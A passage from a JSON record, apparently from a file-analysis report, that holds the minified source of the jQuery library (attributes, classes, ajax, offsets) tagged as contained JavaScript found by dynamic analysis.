0},n.fx.timer=function(a){n.timers.push(a),a()?n.fx.start():n.timers.pop()},n.fx.interval=13,n.fx.start=function(){ac||(ac=setInterval(n.fx.tick,n.fx.interval))},n.fx.stop=function(){clearInterval(ac),ac=null},n.fx.speeds={slow:600,fast:200,_default:400},n.fn.delay=function(a,b){return a=n.fx?n.fx.speeds[a]||a:a,b=b||\"fx\",this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},function(){var a,b,c,d,e=z.createElement(\"div\");e.setAttribute(\"className\",\"t\"),e.innerHTML=\" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>\",a=e.getElementsByTagName(\"a\")[0],c=z.createElement(\"select\"),d=c.appendChild(z.createElement(\"option\")),b=e.getElementsByTagName(\"input\")[0],a.style.cssText=\"top:1px\",l.getSetAttribute=\"t\"!==e.className,l.style=/top/.test(a.getAttribute(\"style\")),l.hrefNormalized=\"/a\"===a.getAttribute(\"href\"),l.checkOn=!!b.value,l.optSelected=d.selected,l.enctype=!!z.createElement(\"form\").enctype,c.disabled=!0,l.optDisabled=!d.disabled,b=z.createElement(\"input\"),b.setAttribute(\"value\",\"\"),l.input=\"\"===b.getAttribute(\"value\"),b.value=\"t\",b.setAttribute(\"type\",\"radio\"),l.radioValue=\"t\"===b.value,a=b=c=d=e=null}();var mc=/\\r/g;n.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=n.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,n(this).val()):a,null==e?e=\"\":\"number\"==typeof e?e+=\"\":n.isArray(e)&&(e=n.map(e,function(a){return null==a?\"\":a+\"\"})),b=n.valHooks[this.type]||n.valHooks[this.nodeName.toLowerCase()],b&&\"set\"in b&&void 0!==b.set(this,e,\"value\")||(this.value=e))});if(e)return b=n.valHooks[e.type]||n.valHooks[e.nodeName.toLowerCase()],b&&\"get\"in b&&void 0!==(c=b.get(e,\"value\"))?c:(c=e.value,\"string\"==typeof c?c.replace(mc,\"\"):null==c?\"\":c)}}}),n.extend({valHooks:{option:{get:function(a){var b=n.find.attr(a,\"value\");return null!=b?b:n.text(a)}},select:{get:function(a){for(var b,c,d=a.options,e=a.selectedIndex,f=\"select-one\"===a.type||0>e,g=f?null:[],h=f?e+1:d.length,i=0>e?h:f?e:0;h>i;i++)if(c=d[i],!(!c.selected&&i!==e||(l.optDisabled?c.disabled:null!==c.getAttribute(\"disabled\"))||c.parentNode.disabled&&n.nodeName(c.parentNode,\"optgroup\"))){if(b=n(c).val(),f)return b;g.push(b)}return g},set:function(a,b){var c,d,e=a.options,f=n.makeArray(b),g=e.length;while(g--)if(d=e[g],n.inArray(n.valHooks.option.get(d),f)>=0)try{d.selected=c=!0}catch(h){d.scrollHeight}else d.selected=!1;return c||(a.selectedIndex=-1),e}}}}),n.each([\"radio\",\"checkbox\"],function(){n.valHooks[this]={set:function(a,b){return n.isArray(b)?a.checked=n.inArray(n(a).val(),b)>=0:void 0}},l.checkOn||(n.valHooks[this].get=function(a){return null===a.getAttribute(\"value\")?\"on\":a.value})});var nc,oc,pc=n.expr.attrHandle,qc=/^(?:checked|selected)$/i,rc=l.getSetAttribute,sc=l.input;n.fn.extend({attr:function(a,b){return W(this,n.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){n.removeAttr(this,a)})}}),n.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(a&&3!==f&&8!==f&&2!==f)return typeof a.getAttribute===L?n.prop(a,b,c):(1===f&&n.isXMLDoc(a)||(b=b.toLowerCase(),d=n.attrHooks[b]||(n.expr.match.bool.test(b)?oc:nc)),void 0===c?d&&\"get\"in d&&null!==(e=d.get(a,b))?e:(e=n.find.attr(a,b),null==e?void 0:e):null!==c?d&&\"set\"in d&&void 0!==(e=d.set(a,c,b))?e:(a.setAttribute(b,c+\"\"),c):void n.removeAttr(a,b))},removeAttr:function(a,b){var c,d,e=0,f=b&&b.match(F);if(f&&1===a.nodeType)while(c=f[e++])d=n.propFix[c]||c,n.expr.match.bool.test(c)?sc&&rc||!qc.test(c)?a[d]=!1:a[n.camelCase(\"default-\"+c)]=a[d]=!1:n.attr(a,c,\"\"),a.removeAttribute(rc?c:d)},attrHooks:{type:{set:function(a,b){if(!l.radioValue&&\"radio\"===b&&n.nodeName(a,\"input\")){var c=a.value;return a.setAttribute(\"type\",b),c&&(a.value=c),b}}}}}),oc={set:function(a,b,c){return b===!1?n.removeAttr(a,c):sc&&rc||!qc.test(c)?a.setAttribute(!rc&&n.propFix[c]||c,c):a[n.camelCase(\"default-\"+c)]=a[c]=!0,c}},n.each(n.expr.match.bool.source.match(/\\w+/g),function(a,b){var c=pc[b]||n.find.attr;pc[b]=sc&&rc||!qc.test(b)?function(a,b,d){var e,f;return d||(f=pc[b],pc[b]=e,e=null!=c(a,b,d)?b.toLowerCase():null,pc[b]=f),e}:function(a,b,c){return c?void 0:a[n.camelCase(\"default-\"+b)]?b.toLowerCase():null}}),sc&&rc||(n.attrHooks.value={set:function(a,b,c){return n.nodeName(a,\"input\")?void(a.defaultValue=b):nc&&nc.set(a,b,c)}}),rc||(nc={set:function(a,b,c){var d=a.getAttributeNode(c);return d||a.setAttributeNode(d=a.ownerDocument.createAttribute(c)),d.value=b+=\"\",\"value\"===c||b===a.getAttribute(c)?b:void 0}},pc.id=pc.name=pc.coords=function(a,b,c){var d;return c?void 0:(d=a.getAttributeNode(b))&&\"\"!==d.value?d.value:null},n.valHooks.button={get:function(a,b){var c=a.getAttributeNode(b);return c&&c.specified?c.value:void 0},set:nc.set},n.attrHooks.contenteditable={set:function(a,b,c){nc.set(a,\"\"===b?!1:b,c)}},n.each([\"width\",\"height\"],function(a,b){n.attrHooks[b]={set:function(a,c){return\"\"===c?(a.setAttribute(b,\"auto\"),c):void 0}}})),l.style||(n.attrHooks.style={get:function(a){return a.style.cssText||void 0},set:function(a,b){return a.style.cssText=b+\"\"}});var tc=/^(?:input|select|textarea|button|object)$/i,uc=/^(?:a|area)$/i;n.fn.extend({prop:function(a,b){return W(this,n.prop,a,b,arguments.length>1)},removeProp:function(a){return a=n.propFix[a]||a,this.each(function(){try{this[a]=void 0,delete this[a]}catch(b){}})}}),n.extend({propFix:{\"for\":\"htmlFor\",\"class\":\"className\"},prop:function(a,b,c){var d,e,f,g=a.nodeType;if(a&&3!==g&&8!==g&&2!==g)return f=1!==g||!n.isXMLDoc(a),f&&(b=n.propFix[b]||b,e=n.propHooks[b]),void 0!==c?e&&\"set\"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&\"get\"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=n.find.attr(a,\"tabindex\");return b?parseInt(b,10):tc.test(a.nodeName)||uc.test(a.nodeName)&&a.href?0:-1}}}}),l.hrefNormalized||n.each([\"href\",\"src\"],function(a,b){n.propHooks[b]={get:function(a){return a.getAttribute(b,4)}}}),l.optSelected||(n.propHooks.selected={get:function(a){var b=a.parentNode;return b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex),null}}),n.each([\"tabIndex\",\"readOnly\",\"maxLength\",\"cellSpacing\",\"cellPadding\",\"rowSpan\",\"colSpan\",\"useMap\",\"frameBorder\",\"contentEditable\"],function(){n.propFix[this.toLowerCase()]=this}),l.enctype||(n.propFix.enctype=\"encoding\");var vc=/[\\t\\r\\n\\f]/g;n.fn.extend({addClass:function(a){var b,c,d,e,f,g,h=0,i=this.length,j=\"string\"==typeof a&&a;if(n.isFunction(a))return this.each(function(b){n(this).addClass(a.call(this,b,this.className))});if(j)for(b=(a||\"\").match(F)||[];i>h;h++)if(c=this[h],d=1===c.nodeType&&(c.className?(\" \"+c.className+\" \").replace(vc,\" \"):\" \")){f=0;while(e=b[f++])d.indexOf(\" \"+e+\" \")<0&&(d+=e+\" \");g=n.trim(d),c.className!==g&&(c.className=g)}return this},removeClass:function(a){var b,c,d,e,f,g,h=0,i=this.length,j=0===arguments.length||\"string\"==typeof a&&a;if(n.isFunction(a))return this.each(function(b){n(this).removeClass(a.call(this,b,this.className))});if(j)for(b=(a||\"\").match(F)||[];i>h;h++)if(c=this[h],d=1===c.nodeType&&(c.className?(\" \"+c.className+\" \").replace(vc,\" \"):\"\")){f=0;while(e=b[f++])while(d.indexOf(\" \"+e+\" \")>=0)d=d.replace(\" \"+e+\" \",\" \");g=a?n.trim(d):\"\",c.className!==g&&(c.className=g)}return this},toggleClass:function(a,b){var c=typeof a;return\"boolean\"==typeof b&&\"string\"===c?b?this.addClass(a):this.removeClass(a):this.each(n.isFunction(a)?function(c){n(this).toggleClass(a.call(this,c,this.className,b),b)}:function(){if(\"string\"===c){var b,d=0,e=n(this),f=a.match(F)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else(c===L||\"boolean\"===c)&&(this.className&&n._data(this,\"__className__\",this.className),this.className=this.className||a===!1?\"\":n._data(this,\"__className__\")||\"\")})},hasClass:function(a){for(var b=\" \"+a+\" \",c=0,d=this.length;d>c;c++)if(1===this[c].nodeType&&(\" \"+this[c].className+\" \").replace(vc,\" \").indexOf(b)>=0)return!0;return!1}}),n.each(\"blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu\".split(\" \"),function(a,b){n.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),n.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,\"**\"):this.off(b,a||\"**\",c)}});var wc=n.now(),xc=/\\?/,yc=/(,)|(\\[|{)|(}|])|\"(?:[^\"\\\\\\r\\n]|\\\\[\"\\\\\\/bfnrt]|\\\\u[\\da-fA-F]{4})*\"\\s*:?|true|false|null|-?(?!0\\d)\\d+(?:\\.\\d+|)(?:[eE][+-]?\\d+|)/g;n.parseJSON=function(b){if(a.JSON&&a.JSON.parse)return a.JSON.parse(b+\"\");var c,d=null,e=n.trim(b+\"\");return e&&!n.trim(e.replace(yc,function(a,b,e,f){return c&&b&&(d=0),0===d?a:(c=e||b,d+=!f-!e,\"\")}))?Function(\"return \"+e)():n.error(\"Invalid JSON: \"+b)},n.parseXML=function(b){var c,d;if(!b||\"string\"!=typeof b)return null;try{a.DOMParser?(d=new DOMParser,c=d.parseFromString(b,\"text/xml\")):(c=new ActiveXObject(\"Microsoft.XMLDOM\"),c.async=\"false\",c.loadXML(b))}catch(e){c=void 0}return c&&c.documentElement&&!c.getElementsByTagName(\"parsererror\").length||n.error(\"Invalid XML: \"+b),c};var zc,Ac,Bc=/#.*$/,Cc=/([?&])_=[^&]*/,Dc=/^(.*?):[ \\t]*([^\\r\\n]*)\\r?$/gm,Ec=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Fc=/^(?:GET|HEAD)$/,Gc=/^\\/\\//,Hc=/^([\\w.+-]+:)(?:\\/\\/(?:[^\\/?#]*@|)([^\\/?#:]*)(?::(\\d+)|)|)/,Ic={},Jc={},Kc=\"*/\".concat(\"*\");try{Ac=location.href}catch(Lc){Ac=z.createElement(\"a\"),Ac.href=\"\",Ac=Ac.href}zc=Hc.exec(Ac.toLowerCase())||[];function Mc(a){return function(b,c){\"string\"!=typeof b&&(c=b,b=\"*\");var d,e=0,f=b.toLowerCase().match(F)||[];if(n.isFunction(c))while(d=f[e++])\"+\"===d.charAt(0)?(d=d.slice(1)||\"*\",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Nc(a,b,c,d){var e={},f=a===Jc;function g(h){var i;return e[h]=!0,n.each(a[h]||[],function(a,h){var j=h(b,c,d);return\"string\"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e[\"*\"]&&g(\"*\")}function Oc(a,b){var c,d,e=n.ajaxSettings.flatOptions||{};for(d in b)void 0!==b[d]&&((e[d]?a:c||(c={}))[d]=b[d]);return c&&n.extend(!0,a,c),a}function Pc(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while(\"*\"===i[0])i.shift(),void 0===e&&(e=a.mimeType||b.getResponseHeader(\"Content-Type\"));if(e)for(g in h)if(h[g]&&h[g].test(e)){i.unshift(g);break}if(i[0]in c)f=i[0];else{for(g in c){if(!i[0]||a.converters[g+\" \"+i[0]]){f=g;break}d||(d=g)}f=f||d}return f?(f!==i[0]&&i.unshift(f),c[f]):void 0}function Qc(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if(\"*\"===f)f=i;else if(\"*\"!==i&&i!==f){if(g=j[i+\" \"+f]||j[\"* \"+f],!g)for(e in j)if(h=e.split(\" \"),h[1]===f&&(g=j[i+\" \"+h[0]]||j[\"* \"+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a[\"throws\"])b=g(b);else try{b=g(b)}catch(l){return{state:\"parsererror\",error:g?l:\"No conversion from \"+i+\" to \"+f}}}return{state:\"success\",data:b}}n.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ac,type:\"GET\",isLocal:Ec.test(zc[1]),global:!0,processData:!0,async:!0,contentType:\"application/x-www-form-urlencoded; charset=UTF-8\",accepts:{\"*\":Kc,text:\"text/plain\",html:\"text/html\",xml:\"application/xml, text/xml\",json:\"application/json, text/javascript\"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:\"responseXML\",text:\"responseText\",json:\"responseJSON\"},converters:{\"* text\":String,\"text html\":!0,\"text json\":n.parseJSON,\"text xml\":n.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Oc(Oc(a,n.ajaxSettings),b):Oc(n.ajaxSettings,a)},ajaxPrefilter:Mc(Ic),ajaxTransport:Mc(Jc),ajax:function(a,b){\"object\"==typeof a&&(b=a,a=void 0),b=b||{};var c,d,e,f,g,h,i,j,k=n.ajaxSetup({},b),l=k.context||k,m=k.context&&(l.nodeType||l.jquery)?n(l):n.event,o=n.Deferred(),p=n.Callbacks(\"once memory\"),q=k.statusCode||{},r={},s={},t=0,u=\"canceled\",v={readyState:0,getResponseHeader:function(a){var b;if(2===t){if(!j){j={};while(b=Dc.exec(f))j[b[1].toLowerCase()]=b[2]}b=j[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return 2===t?f:null},setRequestHeader:function(a,b){var c=a.toLowerCase();return t||(a=s[c]=s[c]||a,r[a]=b),this},overrideMimeType:function(a){return t||(k.mimeType=a),this},statusCode:function(a){var b;if(a)if(2>t)for(b in a)q[b]=[q[b],a[b]];else v.always(a[v.status]);return this},abort:function(a){var b=a||u;return i&&i.abort(b),x(0,b),this}};if(o.promise(v).complete=p.add,v.success=v.done,v.error=v.fail,k.url=((a||k.url||Ac)+\"\").replace(Bc,\"\").replace(Gc,zc[1]+\"//\"),k.type=b.method||b.type||k.method||k.type,k.dataTypes=n.trim(k.dataType||\"*\").toLowerCase().match(F)||[\"\"],null==k.crossDomain&&(c=Hc.exec(k.url.toLowerCase()),k.crossDomain=!(!c||c[1]===zc[1]&&c[2]===zc[2]&&(c[3]||(\"http:\"===c[1]?\"80\":\"443\"))===(zc[3]||(\"http:\"===zc[1]?\"80\":\"443\")))),k.data&&k.processData&&\"string\"!=typeof k.data&&(k.data=n.param(k.data,k.traditional)),Nc(Ic,k,b,v),2===t)return v;h=k.global,h&&0===n.active++&&n.event.trigger(\"ajaxStart\"),k.type=k.type.toUpperCase(),k.hasContent=!Fc.test(k.type),e=k.url,k.hasContent||(k.data&&(e=k.url+=(xc.test(e)?\"&\":\"?\")+k.data,delete k.data),k.cache===!1&&(k.url=Cc.test(e)?e.replace(Cc,\"$1_=\"+wc++):e+(xc.test(e)?\"&\":\"?\")+\"_=\"+wc++)),k.ifModified&&(n.lastModified[e]&&v.setRequestHeader(\"If-Modified-Since\",n.lastModified[e]),n.etag[e]&&v.setRequestHeader(\"If-None-Match\",n.etag[e])),(k.data&&k.hasContent&&k.contentType!==!1||b.contentType)&&v.setRequestHeader(\"Content-Type\",k.contentType),v.setRequestHeader(\"Accept\",k.dataTypes[0]&&k.accepts[k.dataTypes[0]]?k.accepts[k.dataTypes[0]]+(\"*\"!==k.dataTypes[0]?\", \"+Kc+\"; q=0.01\":\"\"):k.accepts[\"*\"]);for(d in k.headers)v.setRequestHeader(d,k.headers[d]);if(k.beforeSend&&(k.beforeSend.call(l,v,k)===!1||2===t))return v.abort();u=\"abort\";for(d in{success:1,error:1,complete:1})v[d](k[d]);if(i=Nc(Jc,k,b,v)){v.readyState=1,h&&m.trigger(\"ajaxSend\",[v,k]),k.async&&k.timeout>0&&(g=setTimeout(function(){v.abort(\"timeout\")},k.timeout));try{t=1,i.send(r,x)}catch(w){if(!(2>t))throw w;x(-1,w)}}else x(-1,\"No Transport\");function x(a,b,c,d){var j,r,s,u,w,x=b;2!==t&&(t=2,g&&clearTimeout(g),i=void 0,f=d||\"\",v.readyState=a>0?4:0,j=a>=200&&300>a||304===a,c&&(u=Pc(k,v,c)),u=Qc(k,u,v,j),j?(k.ifModified&&(w=v.getResponseHeader(\"Last-Modified\"),w&&(n.lastModified[e]=w),w=v.getResponseHeader(\"etag\"),w&&(n.etag[e]=w)),204===a||\"HEAD\"===k.type?x=\"nocontent\":304===a?x=\"notmodified\":(x=u.state,r=u.data,s=u.error,j=!s)):(s=x,(a||!x)&&(x=\"error\",0>a&&(a=0))),v.status=a,v.statusText=(b||x)+\"\",j?o.resolveWith(l,[r,x,v]):o.rejectWith(l,[v,x,s]),v.statusCode(q),q=void 0,h&&m.trigger(j?\"ajaxSuccess\":\"ajaxError\",[v,k,j?r:s]),p.fireWith(l,[v,x]),h&&(m.trigger(\"ajaxComplete\",[v,k]),--n.active||n.event.trigger(\"ajaxStop\")))}return v},getJSON:function(a,b,c){return n.get(a,b,c,\"json\")},getScript:function(a,b){return n.get(a,void 0,b,\"script\")}}),n.each([\"get\",\"post\"],function(a,b){n[b]=function(a,c,d,e){return n.isFunction(c)&&(e=e||d,d=c,c=void 0),n.ajax({url:a,type:b,dataType:e,data:c,success:d})}}),n.each([\"ajaxStart\",\"ajaxStop\",\"ajaxComplete\",\"ajaxError\",\"ajaxSuccess\",\"ajaxSend\"],function(a,b){n.fn[b]=function(a){return this.on(b,a)}}),n._evalUrl=function(a){return n.ajax({url:a,type:\"GET\",dataType:\"script\",async:!1,global:!1,\"throws\":!0})},n.fn.extend({wrapAll:function(a){if(n.isFunction(a))return this.each(function(b){n(this).wrapAll(a.call(this,b))});if(this[0]){var b=n(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&1===a.firstChild.nodeType)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){return this.each(n.isFunction(a)?function(b){n(this).wrapInner(a.call(this,b))}:function(){var b=n(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=n.isFunction(a);return this.each(function(c){n(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){n.nodeName(this,\"body\")||n(this).replaceWith(this.childNodes)}).end()}}),n.expr.filters.hidden=function(a){return a.offsetWidth<=0&&a.offsetHeight<=0||!l.reliableHiddenOffsets()&&\"none\"===(a.style&&a.style.display||n.css(a,\"display\"))},n.expr.filters.visible=function(a){return!n.expr.filters.hidden(a)};var Rc=/%20/g,Sc=/\\[\\]$/,Tc=/\\r?\\n/g,Uc=/^(?:submit|button|image|reset|file)$/i,Vc=/^(?:input|select|textarea|keygen)/i;function Wc(a,b,c,d){var e;if(n.isArray(b))n.each(b,function(b,e){c||Sc.test(a)?d(a,e):Wc(a+\"[\"+(\"object\"==typeof e?b:\"\")+\"]\",e,c,d)});else if(c||\"object\"!==n.type(b))d(a,b);else for(e in b)Wc(a+\"[\"+e+\"]\",b[e],c,d)}n.param=function(a,b){var c,d=[],e=function(a,b){b=n.isFunction(b)?b():null==b?\"\":b,d[d.length]=encodeURIComponent(a)+\"=\"+encodeURIComponent(b)};if(void 0===b&&(b=n.ajaxSettings&&n.ajaxSettings.traditional),n.isArray(a)||a.jquery&&!n.isPlainObject(a))n.each(a,function(){e(this.name,this.value)});else for(c in a)Wc(c,a[c],b,e);return d.join(\"&\").replace(Rc,\"+\")},n.fn.extend({serialize:function(){return n.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=n.prop(this,\"elements\");return a?n.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!n(this).is(\":disabled\")&&Vc.test(this.nodeName)&&!Uc.test(a)&&(this.checked||!X.test(a))}).map(function(a,b){var c=n(this).val();return null==c?null:n.isArray(c)?n.map(c,function(a){return{name:b.name,value:a.replace(Tc,\"\\r\\n\")}}):{name:b.name,value:c.replace(Tc,\"\\r\\n\")}}).get()}}),n.ajaxSettings.xhr=void 0!==a.ActiveXObject?function(){return!this.isLocal&&/^(get|post|head|put|delete|options)$/i.test(this.type)&&$c()||_c()}:$c;var Xc=0,Yc={},Zc=n.ajaxSettings.xhr();a.ActiveXObject&&n(a).on(\"unload\",function(){for(var a in Yc)Yc[a](void 0,!0)}),l.cors=!!Zc&&\"withCredentials\"in Zc,Zc=l.ajax=!!Zc,Zc&&n.ajaxTransport(function(a){if(!a.crossDomain||l.cors){var b;return{send:function(c,d){var e,f=a.xhr(),g=++Xc;if(f.open(a.type,a.url,a.async,a.username,a.password),a.xhrFields)for(e in a.xhrFields)f[e]=a.xhrFields[e];a.mimeType&&f.overrideMimeType&&f.overrideMimeType(a.mimeType),a.crossDomain||c[\"X-Requested-With\"]||(c[\"X-Requested-With\"]=\"XMLHttpRequest\");for(e in c)void 0!==c[e]&&f.setRequestHeader(e,c[e]+\"\");f.send(a.hasContent&&a.data||null),b=function(c,e){var h,i,j;if(b&&(e||4===f.readyState))if(delete Yc[g],b=void 0,f.onreadystatechange=n.noop,e)4!==f.readyState&&f.abort();else{j={},h=f.status,\"string\"==typeof f.responseText&&(j.text=f.responseText);try{i=f.statusText}catch(k){i=\"\"}h||!a.isLocal||a.crossDomain?1223===h&&(h=204):h=j.text?200:404}j&&d(h,i,j,f.getAllResponseHeaders())},a.async?4===f.readyState?setTimeout(b):f.onreadystatechange=Yc[g]=b:b()},abort:function(){b&&b(void 0,!0)}}}});function $c(){try{return new a.XMLHttpRequest}catch(b){}}function _c(){try{return new a.ActiveXObject(\"Microsoft.XMLHTTP\")}catch(b){}}n.ajaxSetup({accepts:{script:\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"},contents:{script:/(?:java|ecma)script/},converters:{\"text script\":function(a){return n.globalEval(a),a}}}),n.ajaxPrefilter(\"script\",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type=\"GET\",a.global=!1)}),n.ajaxTransport(\"script\",function(a){if(a.crossDomain){var b,c=z.head||n(\"head\")[0]||z.documentElement;return{send:function(d,e){b=z.createElement(\"script\"),b.async=!0,a.scriptCharset&&(b.charset=a.scriptCharset),b.src=a.url,b.onload=b.onreadystatechange=function(a,c){(c||!b.readyState||/loaded|complete/.test(b.readyState))&&(b.onload=b.onreadystatechange=null,b.parentNode&&b.parentNode.removeChild(b),b=null,c||e(200,\"success\"))},c.insertBefore(b,c.firstChild)},abort:function(){b&&b.onload(void 0,!0)}}}});var ad=[],bd=/(=)\\?(?=&|$)|\\?\\?/;n.ajaxSetup({jsonp:\"callback\",jsonpCallback:function(){var a=ad.pop()||n.expando+\"_\"+wc++;return this[a]=!0,a}}),n.ajaxPrefilter(\"json jsonp\",function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(bd.test(b.url)?\"url\":\"string\"==typeof b.data&&!(b.contentType||\"\").indexOf(\"application/x-www-form-urlencoded\")&&bd.test(b.data)&&\"data\");return h||\"jsonp\"===b.dataTypes[0]?(e=b.jsonpCallback=n.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(bd,\"$1\"+e):b.jsonp!==!1&&(b.url+=(xc.test(b.url)?\"&\":\"?\")+b.jsonp+\"=\"+e),b.converters[\"script json\"]=function(){return g||n.error(e+\" was not called\"),g[0]},b.dataTypes[0]=\"json\",f=a[e],a[e]=function(){g=arguments},d.always(function(){a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,ad.push(e)),g&&n.isFunction(f)&&f(g[0]),g=f=void 0}),\"script\"):void 0}),n.parseHTML=function(a,b,c){if(!a||\"string\"!=typeof a)return null;\"boolean\"==typeof b&&(c=b,b=!1),b=b||z;var d=v.exec(a),e=!c&&[];return d?[b.createElement(d[1])]:(d=n.buildFragment([a],b,e),e&&e.length&&n(e).remove(),n.merge([],d.childNodes))};var cd=n.fn.load;n.fn.load=function(a,b,c){if(\"string\"!=typeof a&&cd)return cd.apply(this,arguments);var d,e,f,g=this,h=a.indexOf(\" \");return h>=0&&(d=a.slice(h,a.length),a=a.slice(0,h)),n.isFunction(b)?(c=b,b=void 0):b&&\"object\"==typeof b&&(f=\"POST\"),g.length>0&&n.ajax({url:a,type:f,dataType:\"html\",data:b}).done(function(a){e=arguments,g.html(d?n(\"<div>\").append(n.parseHTML(a)).find(d):a)}).complete(c&&function(a,b){g.each(c,e||[a.responseText,b,a])}),this},n.expr.filters.animated=function(a){return n.grep(n.timers,function(b){return a===b.elem}).length};var dd=a.document.documentElement;function ed(a){return n.isWindow(a)?a:9===a.nodeType?a.defaultView||a.parentWindow:!1}n.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=n.css(a,\"position\"),l=n(a),m={};\"static\"===k&&(a.style.position=\"relative\"),h=l.offset(),f=n.css(a,\"top\"),i=n.css(a,\"left\"),j=(\"absolute\"===k||\"fixed\"===k)&&n.inArray(\"auto\",[f,i])>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),n.isFunction(b)&&(b=b.call(a,c,h)),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),\"using\"in b?b.using.call(a,m):l.css(m)}},n.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){n.offset.setOffset(this,a,b)});var b,c,d={top:0,left:0},e=this[0],f=e&&e.ownerDocument;if(f)return b=f.documentElement,n.contains(b,e)?(typeof e.getBoundingClientRect!==L&&(d=e.getBoundingClientRect()),c=ed(f),{top:d.top+(c.pageYOffset||b.scrollTop)-(b.clientTop||0),left:d.left+(c.pageXOffset||b.scrollLeft)-(b.clientLeft||0)}):d},position:function(){if(this[0]){var a,b,c={top:0,left:0},d=this[0];return\"fixed\"===n.css(d,\"position\")?b=d.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),n.nodeName(a[0],\"html\")||(c=a.offset()),c.top+=n.css(a[0],\"borderTopWidth\",!0),c.left+=n.css(a[0],\"borderLeftWidth\",!0)),{top:b.top-c.top-n.css(d,\"marginTop\",!0),left:b.left-c.left-n.css(d,\"marginLeft\",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||dd;while(a&&!n.nodeName(a,\"html\")&&\"static\"===n.css(a,\"position\"))a=a.offsetParent;return a||dd})}}),n.each({scrollLeft:\"pageXOffset\",scrollTop:\"pageYOffset\"},function(a,b){var c=/Y/.test(b);n.fn[a]=function(d){return W(this,function(a,d,e){var f=ed(a);return void 0===e?f?b in f?f[b]:f.document.documentElement[d]:a[d]:void(f?f.scrollTo(c?n(f).scrollLeft():e,c?e:n(f).scrollTop()):a[d]=e)},a,d,arguments.length,null)}}),n.each([\"top\",\"left\"],function(a,b){n.cssHooks[b]=Mb(l.pixelPosition,function(a,c){return c?(c=Kb(a,b),Ib.test(c)?n(a).position()[b]+\"px\":c):void 0})}),n.each({Height:\"height\",Width:\"width\"},function(a,b){n.each({padding:\"inner\"+a,content:b,\"\":\"outer\"+a},function(c,d){n.fn[d]=function(d,e){var f=arguments.length&&(c||\"boolean\"!=typeof d),g=c||(d===!0||e===!0?\"margin\":\"border\");return W(this,function(b,c,d){var e;return n.isWindow(b)?b.document.documentElement[\"client\"+a]:9===b.nodeType?(e=b.documentElement,Math.max(b.body[\"scroll\"+a],e[\"scroll\"+a],b.body[\"offset\"+a],e[\"offset\"+a],e[\"client\"+a])):void 0===d?n.css(b,c,g):n.style(b,c,d,g)},b,f?d:void 0,f,null)}})}),n.fn.size=function(){return this.length},n.fn.andSelf=n.fn.addBack,\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return n});var fd=a.jQuery,gd=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=gd),b&&a.jQuery===n&&(a.jQuery=fd),n},typeof b===L&&(a.jQuery=a.$=n),n});",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
